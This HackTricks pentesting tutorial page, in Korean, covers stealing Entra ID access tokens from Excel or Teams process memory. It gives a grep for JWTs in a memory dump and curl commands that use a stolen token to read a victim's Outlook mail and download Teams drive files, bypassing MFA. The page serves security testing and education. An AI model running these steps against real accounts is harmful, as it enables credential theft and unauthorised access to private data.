Az - Processes Memory Access Token

Support HackTricks

기본 정보

이 비디오에서 설명한 바와 같이, 클라우드와 동기화된 일부 Microsoft 소프트웨어(Excel, Teams...)는 메모리에 액세스 토큰을 평문으로 저장할 수 있습니다. 따라서 프로세스의 메모리를 덤프하고 JWT 토큰을 검색하는 것만으로도 MFA를 우회하여 클라우드에서 피해자의 여러 리소스에 접근할 수 있습니다.

단계:

  1. 좋아하는 도구를 사용하여 EntraID 사용자와 동기화된 Excel 프로세스를 덤프합니다.

  2. string excel.dmp | grep 'eyJ0'를 실행하고 출력에서 여러 토큰을 찾습니다.

  3. 가장 관심 있는 토큰을 찾아 도구를 실행합니다:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

이러한 종류의 액세스 토큰은 다른 프로세스 내에서도 발견될 수 있습니다.

HackTricks 지원하기

Last updated